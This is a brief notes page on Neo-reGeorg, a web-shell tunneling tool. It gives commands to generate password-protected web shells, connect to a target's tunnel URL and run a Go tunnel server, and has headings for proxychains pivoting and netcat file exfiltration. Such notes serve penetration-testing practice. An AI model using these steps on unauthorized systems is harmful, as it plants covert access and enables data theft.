Neo-reGeorg

Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

Source: https://github.com/L-codes/Neo-reGeorg

Updates

• supports Python3

• we can generate password protected webshells:

    python3 neoreg.py generate -k password

• and then open the connection with that password

    python3 neoreg.py -k password -u <target-ip>/tunnel.xxx

• We can open a server using Golang

    go run neoreg_servers/tunnel.go 8000

Usage

Generate password protected web shells

Using go as webserver

Connecting to the web shell

Make sure your /etc/proxychains.conf have the line:

• socks5 127.0.0.1 1080

Use proxychains to access content through the tunnel

wireshark results

Exfiltrate Files

Set netcat to send files

Grab files through the tunnel

Wireshark Results

Notes

• web shell using go is way more reliable

• it supports python3 - great

• and some other new cool functionalities like camouflage page, redirect url (works only w/ .jsp), extract BODY content manually with --extract EXPR

• bref - it's an improved reGeorg